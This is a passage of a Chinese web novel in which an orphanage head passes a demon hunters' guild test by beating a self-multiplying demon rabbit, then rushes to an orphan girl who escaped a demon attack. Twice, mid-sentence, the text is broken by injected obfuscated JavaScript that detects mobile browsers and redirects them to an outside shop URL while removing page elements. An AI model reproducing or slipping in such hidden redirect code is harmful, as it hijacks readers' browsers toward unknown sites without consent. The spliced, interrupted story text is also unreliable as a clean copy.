莫离正疑惑着，忽然又有一道声音从里面传来。 “发生了什么？卡罗莱你怎么那么生气？” 哒哒哒，硬头靴子磕在地面上发出轻响，有人迈着沉稳的步子走了出来。 莫离循声看过去，发现是一个穿着半铠和长衣，脚踩长靴，小臂戴有一层黑色护甲的高大男人。 男人金发金眸，容颜冷峻，看起来不苟言笑。 “哦，是我们组织在经历长达半个月的空窗期后终于迎来了第一位新人。”卡罗莱回答。 面对这男人，刚对那几个男人威严得像母狮的她脸上有了几分尊敬。 莫离还在猜测这个男人的身份，没想到男人下一秒来到他身侧，出声：“你想当猎魔人？” 走近了看，男人的金眸更加璀璨，像嵌着纯度极高的缕缕黄金。 他声调微冷，但并没有咄咄逼人，仿佛只是在疑惑在确认什么。 莫离还在思考这个男人到底有两米还是两米一，听到这话，嗯了一声。 男人覆眼望向莫离，他在观察莫离的潜质，没发现什么异样，又将视线挪到莫离的脸上。 很认真，没有在开玩笑。 他问：“你为什么要来我们猎魔组织？” 莫离：“为了赚钱。”想了想，又加上一句“奶粉钱”。 虽然现在孤儿院没有需要喝奶的孩子，但是一个人要带一个还在喝奶的孩子，听起来就很命苦很有说服力。 男人：“……” 他没想到眼前这个容颜柔美，雌雄莫辨的男人已经是一个孩子的爹，愣了片刻：“为了一个孩子送命不值得，你能做的工作不止这个。” 莫离接话：“不是一个，是一群。” 男人：“……” 好吧，要养几个孩子压力确实大。 4. 恶魔与诡异（猎魔日常） “我叫维加斯，这里的管理者，如果你想要加入我们，先让我们看看你有没有这个能力吧。”维加斯收回视线，面色虽冷漠但语气平和。 猎魔人不是谁都能做的，如果招来废物，只会浪费他们的时间，甚至给他们拖后腿。 听到这话，莫离觉得，虽然维加斯这个人看起来面冷严肃，但似乎并没有生人勿近。 还好，不是想象中的那种高岭之花。他对不好相处的高岭之花有种天然的恐惧，当然，不是因为压榨他的老板就是这种人。 莫离点点头：“理解，不过怎么测试能力？难道要搞个考试什么的？” “维加斯，那让我来负责吧。”卡罗莱立起“暂休”牌子从柜台后走出来，因此整个人在莫离眼前呈现。 她穿着一件紧身的立领呢衫，加上平和的脸，只看上半身还蛮亲切，但她下半身穿着一条皮质长裤，腰间别着刀匣，脚踩硬邦邦的短靴，左腿还绑着带刀匣的腿环。 于是一下子推翻早前印象，变得飒爽干练起来。 而且她个子不矮，莫离目测和自己一样高，一米八。 维加斯并没有听卡罗莱的话，而是自顾自地领着莫离往里面走：“我们不需要考试，只需要你做些简单的事情就好了。不过……我问一下，你是否了解我们猎魔公会？” 莫离老实回答：“不了解，恶魔什么的都不了解。” 维加斯语调进一步放缓：“如果你不介意，我跟你介绍一遍，需要吗？” “太好了，感恩。”莫离人机似地棒读。 卡罗莱：“……”好好好，看来她的老大很喜欢莫离这个新人，她当年哪儿有这种介绍待遇！ “新人，你叫什么？”她走到莫离身侧。 “莫离。” “简单的名字，好听。”卡罗莱称赞一句，转头提醒维加斯：“老大，你是不是忘了你还要去讨伐一只［祸物级］恶魔？” “老大”一词咬重，有些看热闹的意味。 每当不爽维加斯时，她就会故意用“老大”称呼维加斯，带着好友的阴阳怪气。 被打断介绍的维加斯听出来卡罗莱的不悦，停下脚步：“那我先走了，卡罗莱，和……莫离。” 他念出莫离的名字，但舌头像打结了一样，听着不像“莫离”，反而像“茉莉”。 卡罗莱：“走吧走吧，猎魔顺利。” 莫离：“维加斯管理者慢走。” 维加斯看了眼莫离后匆匆离开，留下卡罗莱接待莫离。 “新人，你想知道什么，我可以和你简单说说。”卡罗莱友好问道。 莫离眼光微闪，问出自己最关心的一点：“恶魔和诡异是什么生物？” 是不是真像影视剧那样奇形怪状？ 卡罗莱没想到莫离会问这么简单的问题，大笑：“哈哈哈，可爱的新人，这个你都不知道吗？” 来猎魔公会却连公会最起码的敌人都不了解吗？ 她转了转浅红色的眼睛，“恶魔和诡异，粗略地都称作‘恶魔’，罪恶之物，但严格来分，它们又有所区别。” 恶魔比诡异常见，形形色色，能力各异，具有形体，能够被检测，总的来说可以分为七种类型和六种等级。 普通无害型，通常奇形怪状，对人类没有强烈恶意，可以驯服，好比普通的生物，普通人可以用普通的工具将其击杀，诸如刀、枪、剑，一旦死亡就会消失； 普通杀戮型，通常奇形怪状，对人类有强烈的攻击欲望，无法被驯服，当然，厉害的普通人也能用普通工具将其杀死； 智慧无害型，通常有初步拟物形态，对人类没有强烈恶意，可以进行契约获得其能力，但需要注意，普通人不再可以将其杀死，只能够限制其行动，只有具有特殊能力的人才能消灭它们，比如猎魔人、契约恶魔者等； 智慧杀戮型，通常具有初步拟物形态，对人类有强烈杀欲，无法进行主动签约，死后保留□□，所以会有其他用处； 拟态型，完全拟物，擅长潜伏，具有初步分化恶魔力，具有简单思维，可进行沟通，可进行契约，性格各异，只能被有特殊能力的人击杀； 智慧拟人型，能够完全拟人，自带已分化恶魔力，可进行契约，只能被特殊能力者击杀； 最后一个，其他型，包括除了以上六种类型之外的全部类型，除了实力全部不明。 莫离听得迷糊，但因为本身情绪淡淡而被卡罗莱误以为不仅全听懂了，而且对此毫无表示。 酷～冷静的新人！卡罗莱感叹。 莫离疑惑：“其他型为什么会只有实力明确？” 卡罗莱回答：“因为截至目前以来现世的每一只其他型恶魔都强于［灾祸级］。” 因此人们笼统地将这些无法归类的恶魔归为其他型。 莫离了然，又问：“六种等级是什么？” 听起来这个［灾祸级］有点像游戏里的怪物划分，越强的怪名号越大。 卡罗莱：“六种等级，从弱到强分别是［蠕虫级］、［智物级］、［祸物级］、［灾祸级］、［天灾级］、［原罪级］。” 莫离：“划分的区别是？” 卡罗莱微笑：“新人，就这么和你说吧，［蠕虫级］恶魔，只对婴儿和步履蹒跚的老人有威胁，对猎魔人而言像虫子一样易杀，对应的就是普通型恶魔； ［智物级］恶魔，好比握枪的恶徒，普通人未必能应对，对应智慧型恶魔，现世会造成十数人死亡，一名及以上熟练的猎魔人就能完成猎杀； ［祸物级］恶魔，不再是普通人能应付的存在，现世会造成数十上百人死亡，等同于拟态型或者拟人型恶魔，需要三名及以上猎魔人才能完成猎杀； ［灾祸级］恶魔，现世将会造成成千上万人死亡，需要十几二十几甚至上百名猎魔人围猎，而且未必能完全杀死； ［天灾级］恶魔，这可不得了了，现世杀死的人比一场自然灾难还要多，起码万人以上，几乎可以说是毁灭级别了。 至于［原罪级］恶魔，能造成十分之九的人类灭亡！不过那只是历史记载的事情，要是现在出现的话，恐怕对我们来说会穷途末路吧。” 莫离思忖片刻，将信息消化于心。 他继续问：“那诡异呢？” 说的都是形形色色的恶魔，诡异又是什么东西？ 卡罗莱敛起微笑，细眉微蹙：“诡异这东西，比恶魔还要奇怪。” 诡异，身负领域，一旦现世会将人类困在领域当中。它们具有各种奇怪的能力，对人类产生各种效果，在领域中，它们的能力即是“铁则”，荒诞古怪。 不管是多厉害的猎魔人，遇上诡异，都将束手无策。 猎魔公会成立百年来，仅有三次猎魔人成功击杀诡异的记载。 面对它们，他们竟是那么无力！他们甚至觉得诡异这东西就是上天给他们降下的罪罚！ 唯一能够让他们松口气的是，诡异在现世前会有预兆，像虫子那样逐渐孵化，现世后一定时间没有养料会很快死亡，所以他们可以在诡异孵化前做出行动将损害降到最低，甚至躲避诡异的伤害。 原来如此……莫离将诡异的信息也记下。 “那契约恶魔又是什么？” “新人，稍等我再告诉你。”卡罗莱没有立即回答。 此时两人已经走过长长的走廊，来到楼梯前。 面前有上下两条楼梯，上边吵吵闹闹，一群猎魔人在休息，跟同伴打闹，下边则安安静静，静得诡异。 莫离狐疑着，卡罗莱毫不犹豫将他带入下面的世界。 一扇银制的，表面流动着暗光符文的门仿佛隔绝了两个世界。 门外安静，可踏入门里，各种声音就强势闯入耳中。 莫离看着眼前的一幕，下意识顿足。 只见眼前的地下空间里摆满了漆黑的笼子，笼中传来各种声音，认得的声音是鸟鸣、狼嚎、狗吠、鱼呼、鹰啸……不认得的声音是呜咽悠长的哭泣、咔嚓硌牙的嚼咬、沉重呼呼的喘息、尖锐锋利的惊叫…… 各种声音仿佛污染源，让人听得头皮发麻，直掉san值。 莫离觉得自己急需一副升级版隔音耳机！ 听见开门声，一个佝偻着身子的老人走了过来。 他头发花白，眼窝深陷，脸上布满皱纹，像画出来的一副印象画。 老人睨了眼莫离，狐疑一瞬，问道：“卡罗莱，他是契约了恶魔吗？” “没有。” “那他是有特殊的能力？” “听他说，没有。” 确认完毕，老人迅速变脸斥责卡罗莱为什么要把一个看起来弱不禁风并且毫无特长的男人带进来！这人会残废的！ 他不是有什么偏见，而是经验告诉他，所有弱小的人在恶魔面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498437|202614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不堪一击。 他已经在这儿做养魔人几十年了，见过很多想要当猎魔人的人。 他们或许是家人被恶魔杀害，想要报仇雪恨，或许是被猎魔人的高报酬吸引，脑子一热就来了。 但是结果呢？那些弱小的人无一例外都被恶魔打残了！ 就像可怜的菲鲁特，那个本应该当个律师的年轻人，正是因为想当猎魔人前来进行测试，结果却被恶魔伤到了身子，一辈子都得躺在床上度过了！ 良心告诉他，不能让莫离这个人踏入菲鲁特的后尘！ 莫离再一次接受质疑，心情有些难绷，抿唇不语。 可恶啊，这些人怎么都以貌取人，难道他看起来真有那么弱吗？ 上辈子因为建模吃红利，现在因为建模吃黑利，莫离觉得自己也是风水轮流转了。 不过…… 莫离上前一步，声音冷淡：“老先生，听您的意思是，进行测试的内容就是跟恶魔对打对吧？我觉得，我可以一试。” 哦？老人对莫离冷静的态度起了兴趣，但是良知和经验还在约束着他。 “小伙子，你还是走吧，不管是为了钱还是为了报仇，这不是你该来的地方。”老人声音粗哑，下了逐客令。 卡罗莱难得见到墨特西亚——也就是这个老人拒绝他人进行测试的请求。 墨特西亚几年前还恨不得把所有人都拉进猎魔公会，甚至宣扬“世界所有人都应该是猎魔人”，怎么这会儿有人送上门来还拒绝了？ “墨特西亚，让他试试吧，你不是说不要小看任何一个人吗。”卡罗莱劝道。 “如果他受伤了怎么办？如果他因此躺在床上度过余生怎么办？”墨特西亚发出二连问。 “不会受伤的。”莫离忽然出声。 他望向墨特西亚，墨特西亚对他这笃定的话吃了一惊。 墨特西亚正眼回看莫离，等待着莫离和以前那些年轻人一样的豪言壮志、仇言恨语。 只见莫离神色认真，继续说：“因为我可能一下子就死了。” 墨特西亚、卡罗莱：“……“ 此人是如何一本正经说出这样的话来的？ 莫离轻垂眼帘：“不过，我也不会轻易死去的。我确实是为钱而来，因为我有几个孩子要养。” 墨特西亚捕捉到他眼中的认真，哼了一声，转身，“既然如此，那你就任选一只恶魔吧，打败它，你就是猎魔人了。” 卡罗莱松了口气：还好，墨特西亚没变。 她将莫离带到笼子前，看看这个又看看那个，心情纠结，仿佛要挑选恶魔打架的人是她。 “莫离，这只犬魔很弱。”、“莫离，还是选这只异形魔吧，它很强。” 卡罗莱在弱恶魔和强恶魔之间反复犹豫下，一方面是因为如果选弱恶魔，莫离就能轻松通过测试成为猎魔人； 另一方面，她又觉得，如果让莫离太容易通过测试，或许会害了莫离，等正式接任务莫离可能会不清楚自己的实力从而招架不住更厉害的恶魔。 莫离听着卡罗莱的话，看了眼那只犬魔。 犬魔初具犬形，头长犄角，通体漆黑，身体有红色纹路流动，还好，san值没掉。 又看了眼那只异形魔，我靠，别说初具什么形了，连生物都未必是！ 异形魔全身畸形，一只只凸出来的流脓眼睛嵌在漆黑模糊的一只只爪子下，正中间的大嘴巴长满獠牙，此刻正发出“呜呜咽咽”的哭泣声。 看一眼，san值掉一半，听一声，左胸那颗跳了二十二年的瘤子也不跳了。 莫离连忙把眼睛移开，寻找能回san的东西。 他的视线扫过一排排笼子，最后落在远处一只笼子上。 那只笼子里关着一只安安静静睡觉的黑色团子，定睛一看，黑色团子是一只兔子。 长相OK。 他试着弄醒兔子，发现兔子只会吱吱叫。 声音也OK。 正常的、可爱的东西让莫离回san中。 莫离打定主意，对墨特西亚说：“我要和这只恶魔对打。” 墨特西亚回头，发现莫离选择了那只恶魔兔子。 他微笑起来，印象画突然变成蒙娜丽莎，笑容古怪：“小伙子，你运气很好，选了这里最难打的一只恶魔。” 莫离：？兔子和难打两个词语是怎么关联在一起的？ 5. 与兔子斗，其乐无穷（猎魔日常） 这兔子怎么看也没什么杀伤力啊？莫离觉得奇怪。 “莫离，你加油，这种恶魔兔子确实不太好对付。”卡罗莱看了眼那只恶魔兔子，同情地鼓励道。 莫离：“……”我倒要看看这兔子是怎么回事。 墨特西亚将关着兔子的笼子抽出来，领着莫离来到测试场。 测试场是一座底座宽阔的高大笼子，笼子通体用红色的骨头制成，笼柱间留着手臂粗细的空隙，幽幽地散发出一股不详的气息。 结合卡罗莱说的话，莫离猜测，这玩意儿是用恶魔的骨肉做的。 智慧杀戮型或者拟态型恶魔的骨肉通常会被物尽其用。 “进去吧。”墨特西亚等莫离进入笼子后将恶魔兔子放了进去。 那只恶魔兔子得了自由，矫健的后腿像发射器一样唰的一下将整个身子蹬出去。 速度快得像发射导弹。 很显然，它想逃。 然而，当它的脚碰到笼柱空隙时，仿佛有一道隐形的东西横在面前，将它身子反弹回来。 它吱吱地叫着，像在控诉不满：为什么这东西能拦住我！放我出去！ “小伙子，想成为猎魔人就打败它吧。”墨特西亚睨了眼莫离，又扭头对恶魔兔子高声：“小东西，你的本性呢？你先前的活蹦乱跳去哪儿了？” 兔子像听懂了墨特西亚的话，放弃挣扎，蹬过身子看向莫离。 它垂下的耳朵一跳一跳，猩红的眼睛像两颗染血的红宝石转动，正在观察莫离。 片刻后，它歪了歪头，像在好奇为什么这个男人那么弱？ 下一刻，确认莫离实力的它吱吱一叫，朝莫离发射导弹般蹬过来！ 他想要的是可爱兔子而不是导弹兔啊……莫离在心里吐槽一句，竟在兔子攻来前一下子躲开了！ 不慌不忙，甚至游刃有余地躲过恶魔兔子的第一击！ 卡罗莱惊讶：“墨特西亚，你看出来他用了什么能力吗？” 墨特西亚也是没想到莫离居然能闪开，“还没看出来。但是，躲得开第一击未必能躲开第二击。” 话音刚落，那只兔子再次朝莫离撞去，一往无前，仿佛莫离就是守株待兔里的那根桩。 莫离再一次弯腰躲闪，抬手想打兔子，但是发现自己手里没武器，只能抬腿踹。 然而兔子敏捷点满，他的鞋子碰不到兔子半根毛，反而自己被兔子撞了一下，失去重心一个劈叉滑下去。 莫离：嘶——— 打不倒他的能让他更强大，但打倒他的会让他劈叉…… 趁着兔子下一次攻来前，莫离赶紧站起来，不可言说的部位传来的疼痛使他眉头微蹙。 奈何表情太过冷静，痛到都皱眉了，别人还以为他没事儿，佩服他柔韧性好。 “你怎么不拿件武器？”墨特西亚有些生气质问。 打不过只能暂时躲闪的莫离：“……我还以为是空手斗呢。” 疏忽的卡罗莱：“……抱歉。” 她随手从腿上的刀匣里抽刀抛进笼子，“借你一用！” 莫离赶紧捡起那把短刀，转身跟那只恶魔兔子对峙。 但那兔子忽然不动了，红宝石眼睛一亮，开始咬自己的毛。 锋利的牙齿嚼嚼嚼，眨眼间将身上的毛全部吞进肚子，从一只毛茸茸兔子变成一只光秃秃的水晶泥兔子。 莫离：？这是在干嘛呢？ 没等细想，那兔子肚子忽然像充气球一样快速膨胀。 “趁它还没有［繁殖］前打断它！”卡罗莱出声提醒。 场外作弊的行为让墨特西亚警告了一眼卡罗莱，接收到眼神的卡罗莱闭嘴耸耸肩。 莫离得到提示，迅速握刀攻击恶魔兔子。 但是兔子也躲得很快，莫离根本擦不了它的边。 此时，它的肚子已经从篮球大小膨胀到泡泡足球大小，肚皮下面还有什么东西在疯狂蹬击。 下一刻，它张开嘴，呕吐般将肚子里的东西吐出来。 竟然是一群同样没毛的恶魔兔子！ 现实兔子繁育能力极强，而恶魔兔子的繁育能力更逆天，居然能通过吃自己的毛生出一群恶魔兔子！ 学猴哥呢？ 莫离压下震惊，那群恶魔兔子前仆后继潮水般乌泱泱地向他涌来。 看到这一幕的卡罗莱知道莫离不妙了。莫离最好的结果是陷入苦战然后被咬死，最坏的结果是……直接被咬死！ 这恶魔兔子能通过吃自己的毛发［繁殖］出一群恶魔兔子，而［繁殖］出来的恶魔兔子不仅绝对听从原兔子的命令，还杀不死，受的伤瞬间就能恢复。 更难搞的是，［繁殖］的恶魔兔子和原兔子几乎没有区别，攻击性强，难以区分。 所以称一句“难打”不为过。 卡罗莱蠢蠢欲动想帮莫离，但墨特西亚制止了她：“如果你出手，那他就无法通过测试。” 卡罗莱只好放弃。 但她依旧在留意莫离的动作。 那群恶魔兔子密密麻麻拥在一起，像翻起一层黑浪朝莫离扑过去。 这一幕令莫离眼睛微微睁大，像被吓到了，连连后退两步。 躲不掉的！卡罗莱在心里喊道。 然而，令卡罗莱和墨特西亚都想不到的是，莫离在兔子潮涌上来那一刻突然将刀扔掉，伸出拳头猛地朝前一挥。 一群兔子落在他手上，猛地张开布满利齿的嘴巴。 还有一些兔子扑到他身上，扑棱着四肢痛击他的身体。 嘶，血腥的一幕要出现了——卡罗莱挪开视线，却在下一秒被拉回来。 那群恶魔兔子竟然噼里啪啦摔落在地！ 这是怎么回事？卡罗莱看向莫离。 只见他身姿微懒，覆上几缕发丝的俊丽脸蛋不带一点儿惊慌失措，神情淡定得像是在过茶话会。 再一看，他的手臂绷得笔直，骨节分明的手指握成拳头将唯一一只没有摔落的兔子的肚子打凹下去。 兔子挨这一击，两眼一翻，跌落在地。而其他僵直倒地的兔子四肢朝天蹬了蹬，很快消失。 墨特西亚知道，莫离这是将恶魔兔子给打晕了…… 得了默许的卡罗莱打开笼子走上前，墨特西亚紧跟其后。 卡罗莱笑了笑：“莫离，你很厉害嘛！” 发怔的莫离垂下手，声音平静中带着点儿死感：“它的肚子手感好恶心……” 卡罗莱愣了几秒，毫不吝啬笑颜：“哈哈哈，莫离你真有意思。” 真是个有趣的新人！ 墨特西亚检查了一番地上的恶魔兔子，确认它只是晕了过去。 莫离揉了揉手，问道：“这兔子死没死？” “没有。” 兔子有嗜眠性，能通过睡觉来缓解疼痛恢复身体。这只恶魔兔子虽然还没有伤过人，但一旦放出去就会祸害人类，他不可能让它离开这儿。 墨特西亚解释一遍，将那只被打晕的恶魔兔子揪回笼子，又解释了一句：“至于它的毛发，睡一觉就长回来了。” 莫离点头，墨特西亚老人家对这些恶魔小怪还挺好。 将笼子放回去后，墨特西亚问出心中疑惑：“小伙子，你是不是有其他能力？在一开始，你本来不应该能躲过那兔子的攻击，在最后，你也不应该能将兔子击晕，但结果全都做到了。为什么？” 莫离看了看墨特西亚，又看了看期待他做出解释的卡罗莱。 他理了理自己的头发，离谱的话张口就来： “因为你们低估了一个要养孩子的男人的心，如果你们要养一群邪恶小孩，我保证你们绝对会像我一样战无不胜。 而且你们懂的，不能让等在家里的孩子们等回一个亡父。” 墨特西亚、卡罗莱：“……” 幽默，但好冷。 看样子莫离是不会说出自己的秘密了。墨特西亚放弃追问。 管他呢，他只是猎魔公会的［饲养员］，不需要理会这些。 莫离把刀还给卡罗莱：“我现在可以当猎魔人了吧？” “当然，欢迎你加入我们猎魔公会。”卡罗莱收刀，伸手。 莫离握上去，卡罗莱加大力度，松了口气：“太好了，我的业绩保住了！” 他一开始就在疑惑，卡罗莱说的业绩是？ 墨特西亚向莫离解释：“我们猎魔公会经常缺人，如果进新人，她这个［接待者］就能得到奖金。” 每增加一个新人，卡罗莱就能得到十枚银币的奖励。 一千块钱……难怪卡罗莱会变脸骂跑那几个猎魔人了。 莫离收手，迫不及待赚钱了：“什么时候能开始任务，报酬怎么算？今天晚上七点前我需要赶回去给我的孩子带晚餐。” 孤儿院最后的存粮已经没有，要是太晚回去，那几个孩子估计饿得前胸贴后背了。 不知道第几次从莫离口中听到孩子，卡罗莱扯了扯唇角，浅红色瞳仁浮出几分怜悯：“小茉莉，你好辛苦，你的孩子遇到你真是他们的幸运……” “要不我把我的奖金分你一半吧？” 莫离：？ 到底是“小茉莉”还是“小莫离”？ 不对，不管哪一个称呼都很奇怪啊！ “让我先实习实习吧。”莫离暂时拒绝了卡罗莱的接济。 他微垂眼帘，天生淡漠的表情掩盖了他此刻眼底深思。 卡罗莱和墨特西亚不知道的是，和恶魔兔子战斗时，他脑海中那道奇怪的声音对他说—— 【检测到［普通杀戮型］恶魔兔子正在发动攻击，是否使用无副作用［定兔］技能？】 - 天色已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498438|202614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗，街景寂静。 几个刚下班的纺织工坊女工走出工坊，步履匆匆走下小路。 出于省钱和抽水的考量，奥德里尔区的纺织工坊都建在城郊，人烟稀少，林木葱茏，距离街道有很长一段路。 为了省些煤油，她们不能浪费一点儿时间，在天彻底黑透前就要赶回家给孩子和丈夫做饭和收拾家务。 沙沙沙。 林郊起风，卷起凉意侵袭人身，像有人在颈后吹凉气，激起她们一阵战栗。 是恶魔吗？！ 她们吓了一跳，连忙环顾四周，没有发现什么奇怪的影子。 然而， 沙沙沙…… 声音没有停止，反而越来越近，像一个人在走动。 有道黑影在林间穿梭，幽影掠过。 女工们吓得慌张聚起来，像受惊的鸟儿谨慎地环顾四周。 有年轻的女工两手相握，颤着声：“听说最近有新的恶魔现身奥德里尔，该不会就在这儿吧？” 年长些的女工则冷静几分，缓神片刻马上抬步：“我们快走，不要停留！” 但她们也恐惧恶魔和恶魔象征的死亡，加快脚步，内心不断期待恶魔不要出现。 沙沙沙…… 那道声音一直跟在她们身后，她们不得不提起裙子往街道跑去，扯着嗓子大喊：“救命！巡警！猎魔人！快来！这儿有恶魔！” 几乎嘶哑的嗓音没有引来巡警和猎魔人，甚至连居民都没有引来，因为现在的奥德里尔人实在太少了。 她们惊慌失措，终于在那声音窜至身后前跑入城区。 到了街道，恶魔就没有那么大的胆子出现了！ 女工们松了口气，终于可以放缓脚步，庆幸自己劫后余生。 “女士，有恶魔在追你们吗？” 一道故作沉稳的稚嫩声音突然响起，把她们吓了一跳。 一个看起来才十岁的女童从身旁的楼梯跳下来。 她身穿一身花布麻衣和长裤，眼睛明亮，眉目倔强，漂亮而富有光泽的红发扎成麻花辫垂在胸前。 那个年长些的女工镇定心绪，见女孩一个人出现在这儿，劝道：“哦小姑娘，你还是快点儿回家吧，现在外面很不安全。” 没想到女孩小脸一沉，赌气大声道：“我没有家，那个地方不是我的家。爸爸妈妈哥哥，所有人都死了，就连唯一对我好的阿姨也在几天前死了，我不会回去的！” “那也得找个地方待起来，孩子，这里真的不安全。”女工听见女孩的遭遇，脸色柔和几分，“去找警察，去找处置局。” 没想到女孩没理她们，“大人都在骗人，我不会去找他们的。” 她的眼睛一直盯着她们的身后，忽然语气笃定说：“外面有一只恶魔。” 这是个忌讳！女工们脸色一变，想说些什么，后背忽然一凉。 “恶魔！” 她们反应过来，刚发出声音，她们的头发就被什么东西猛地一拽，脖子发出一声脆响，整个人像一只被鱼线钩住的虾那样弓起来，重重摔倒在地。 那东西紧紧握住她们的头发，像拉牲口一样将她们迅速拖拽走。 女孩也被拽住头发摔倒在地，即将被粗暴地拖拽进黑暗当中。 后背擦地的疼痛和头皮被扯紧的剧痛让女孩马上挥舞双手敲打那东西。 然而她人小力气小，根本没有反抗的力量。 意识到这一点，她生气地大吼道：“骗人！骗人！骗人！都是骗人的！所有人都在骗我！爸爸妈妈和哥哥根本不是摔下悬崖死的，明明被恶魔杀死的！就连托莉娜也在骗人！” 她一边吼叫，委屈的泪一边翻涌而出：“所有人都在骗我！我现在要死了！” 她的哭声越来越大，呜呜咽咽的，语气却越来越愤怒： “莫利亚，我讨厌你！可恶的院长，我讨厌你！我讨厌你们！呜呜呜我要死了！我要死了！” 愤怒达到顶峰时，女孩热血沸腾，所有情绪化作一句暴吼——“我才不要死！” 孩童的愤怒纯粹而猛烈，带着原始与赤诚的勇敢。 她忍着剧痛从裤兜掏出一把刀，手臂弯曲，用力地将头发割断！ 头皮的疼痛在这一刻消失，艾琳薇马上站起来。 挣脱之后她用尽全力往前跑，惊魂未定。 直到遇到一个巡警她才停脚步，气喘吁吁：“救命，有恶魔！那里！有恶魔！” 巡警看着眼前浑身是血，头发又短又乱糟糟的女孩，让她先冷静。 艾琳薇没有浪费时间，一边镇定心情一边带着巡警往刚刚和女工们相遇的地方走。 到达现场，哪儿还有女工们的身影，只剩下一道道湿漉漉的血痕，像无数条蜗牛爬过的痕迹，重叠、扭曲，一片猩红。 看到这一幕的巡警脸色骤变。 6. 敢伤他家孩子（双日常） 这绝对是恶魔！ 巡警赶紧撤退与现场保持安全距离，然后掏出步话机向分局报告情况：“恶魔！奥德里尔6号街发现恶魔踪迹！” “是否有伤员？”对面询问道。 他看了眼艾琳薇，语气笃定回答：“只有一个幸存者，是个小女孩。” “我已知晓，请原地等候。” “那些女士还活着！你们应该马上去救她们！”艾琳薇想起刚刚惊悚的经历，即使害怕也努力回忆细节：“她们只是晕倒了，而不是死了！” 也许是因为她个子小，所以脑袋砸到地上后没有晕倒，而她们是大人，摔下来后一下子就晕过去了。 如果只会站在原地等待，那些女士很有可能会被一直拖拽！那太疼了，她的后背现在还火辣辣的，像被火舌燎烤。 艾琳薇声音激动，眼泪几乎又要流出来，“如果你们不去救她们，她们很快就会死的！血肉模糊！” 巡警没有把艾琳薇的话放在心上，电话那头的人也没有在意她的请求。 不说对大人而言一个小孩的话无足轻重，更何况他们只有一个人，除了等待支援别无选择。 “小姑娘，我们会去救她们的，等人来齐，我们就会去救她们。”巡警摘下帽子顺了顺遮眼的头发，重新扣回帽子。 只有在百分百安全时行动才是生存准则，他绝不会让自己陷入危险。 “到那时候她们早就死了！”艾琳薇跺跺脚。既然你们要在这里等，那我自己去找人帮忙！ 巡警抓住她的手没让她走，“原地等待，不要乱跑。” “放开我！我要去找人！快放开我！”艾琳薇死命挣扎，手脚齐上阵。 巡警担心碰到她的伤口，只能一边挨打一边抓着她没伤的手腕禁锢住她，然而越是这样艾琳薇挣扎得就越厉害。 他难以招架，很快力竭。 这小姑娘怎么就那么倔，她不是伤得很重吗？怎么还有力气在这里乱动！ 巡警无可奈何，准备用些强硬的手段将艾琳薇扣留。 他一只手拽着艾琳薇的手，另一只手去掏挂在腰带上的手铐。 “——你想对我家孩子做什么？” 冷淡中带着几分愠怒的声音贴着后脑勺炸开。 巡警吓出一身冷汗，谁？！ 没等反应，他瞬间被一只手强硬停止动作，带着些凉意的指骨像铁钳紧紧扣住他的手腕，令他动弹不得。 巡警扭头，看到一张情绪寡淡，眼神阴冷的脸。 眉、眼、鼻、唇，处处俊丽柔美，雌雄莫辨。 不，是个男的。有喉结，声线也听得出是个男的。 这个人什么时候来的？听这意思，是这女孩的家人？ 巡警马上松开艾琳薇，碧色深瞳露出冤枉：“先生，冷静，我是警察，不是流氓也不是儿童贩子。” 与此同时，他观察着莫离。这男人有着东方人面庞，在这里极其少见，难道……就是那所孤儿院的新院长？ 莫离远远看到艾琳薇被人抓住，几乎是闪现过来，现在仔细看才看到巡警身上的制服。 笔挺正直，带着几分英式制服的影子。 “所以，先生你能松手了吗？你的力气实在有些大，弄疼我了。”巡警为难地请求。 莫离慢慢松开手，警惕心不减：“抱歉，我误会了。” 巡警扭了扭被拧疼的手腕，心中直叹莫离看起来挺瘦没想到力气那么大。 见到莫离，艾琳薇小脸一沉。 她不想看到这个可恶的男人！她讨厌他！即使他是如今的院长，被托莉娜信任她也不喜欢他！ 而莫离此时也看向艾琳薇。眼睛哭过肿得像桃核，额头脸颊汗涔涔，漂亮的麻花辫不见了，变得参差不齐乱糟糟，衣服也凌乱得像跟人打过架。 再一瞥，看见她擦伤的肩膀和染血的衣角，莫离眼色微沉，这到底发生了什么？ “艾琳薇，谁欺负你了？”他单膝下跪与艾琳薇平视，问道。 艾琳薇抿唇不想看莫离。 她想起昨天自己跟莫利亚打架，莫离没有为自己说话，明明那场架是莫利亚先挑起的。 她明亮的大眼睛因为赌气半垂下来，想移开视线，又因为内心的委屈很快半抬起来看向莫离，眼角有泪。 “既然你不想说，那就先不说。我来处理。”莫离起身，伸手牵上艾琳薇的手让她与巡警保持距离。 见此情形的巡警举起双手后退一步，眉目无辜：好好好，我知道你什么意思。 莫离温暖的手和身上那股带着清冽冷香的气息让艾琳薇瞬间破防。 她竖起的尖刺软下去，露出被愤怒和疼痛压下去的无尽害怕与委屈。 到底是个小孩子，受到伤害后一被人关心情绪就难以抑制。艾琳薇抓起莫离袖口大哭起来： “院长大叔，她们都被抓走了！呜呜呜啊啊啊，她们都被恶魔抓走了！我差点儿死了！好疼，我的头好疼，我的后背也好疼！” 她哽咽着将事情经过告诉莫离，关于她听见女工们的呼叫，关于恶魔的攻击，关于巡警的制止。 听清原委的莫离情绪被挑起，像老实人被逼急了忘记讲礼貌，脱口而出：“我靠！” 